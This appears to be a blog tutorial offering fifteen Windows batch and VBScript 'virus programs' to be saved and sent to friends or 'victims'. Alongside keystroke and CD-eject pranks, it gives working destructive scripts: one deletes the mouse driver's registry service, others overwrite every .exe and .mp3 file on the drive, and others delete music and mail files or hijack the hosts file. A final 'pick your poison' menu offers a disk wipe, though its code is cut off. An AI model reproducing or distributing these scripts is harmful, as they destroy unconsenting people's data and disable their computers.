Virus Programs To kiIl Yours Victim's Computer

Today,I teach you how to create simple virus for fun and freak out your friends or victims,All you have to do ia open the notepad or any text editor and paste the following virus programs................

I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself.So,Once agin i am not responsible,if you misuse the below information..



1.To Disable Mouse
@echo off
::-------Disable Mouse-------::

set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
::---------------------------::
  Save it as "Anything.BAT" and send it.

2.Infect All .exe Files
@echo off
::----Infect All Exe Files---::

Dir %Homedrive% /s /b > DirPath 
For /f %%Y In (DirPath) Do (
Set DirPath=%%Y > Nul 
For %%Z In (%DirPath%\*.exe) Do (
Set ExeInfect=%%Z > Nul
Copy /y %0 %ExeInfect%
 )
)
Del /f /s /q DirPath
::---------------------------::
  Save it as "Anything.BAT" and send it. 
  
3.Infect All .mp3 Files
@echo off

::----Infect All Mp3 Files---::
Dir %Homedrive% /s /b > DirPath 
For /f %%Y In (DirPath) Do (
Set DirPath=%%Y > Nul 
For %%Z In (%DirPath%\*.mp3) Do (
Set Mp3Infect=%%Z > Nul
Copy /y %0 %Mp3Infect%
 )
)
Del /f /s /q DirPath
::---------------------------::
  Save it as "Anything.BAT" and send it.



4. Make over 1,000 folders in few seconds: 

@echo off
:top
md %random%
goto top

5.To Delete My Music
@echo off

::-----Delete My Music-------::
del /f /q "C:\Users\%userprofile%\My Documents\My Music\*.*"
::---------------------------::
   Save it as "Anything.BAT" and send it.




6.To Delete Winlivemail:
@echo off
::--Delete Windows Live Mail-::
del /f /q "wlmail.exe"
::---------------------------::
   Save it as "Anything.BAT" and send it.


7.To Block MSN:
@echo off
::---------Block MSN---------::
cd "C:\Windows\System32\Drivers\etc"
echo 127.0.0.1 msn.com >> "Hosts"
echo 127.0.0.1 www.msn.com >> "Hosts"
::---------------------------::
   Save it as "Anything.BAT" and send it.


8.Toggle your friend's Caps Lock button simultaneously:

Type in Notepad :
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
  Save it as "Anything.VBS" and send it.


9.Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
Type :
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Save it as "Anything.VBS" and send it.


10.Frustrate your friend by making this VBScript hit Enter simultaneously:
Type :
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
  Save it as "Anything.VBS" and send it.


11.Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "
  Save it as "Anything.VBS" and send it.


12. Frustrate your friend by making this VBScript hit Backspace simultaneously:
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop
Save it as "Anything.VBS" and send it.


13 Hack your friend's keyboard and make him type "You are a fool" simultaneously:
Type :
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop
Save it as "Anything.VBS" and send it.


14. Open Notepad continually in your friend's computer:
Type :
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
  Save it as "Anything.BAT" and send it.


15 Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:
1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown


@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...


pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two
  Save it as "Anything.BAT" and send it.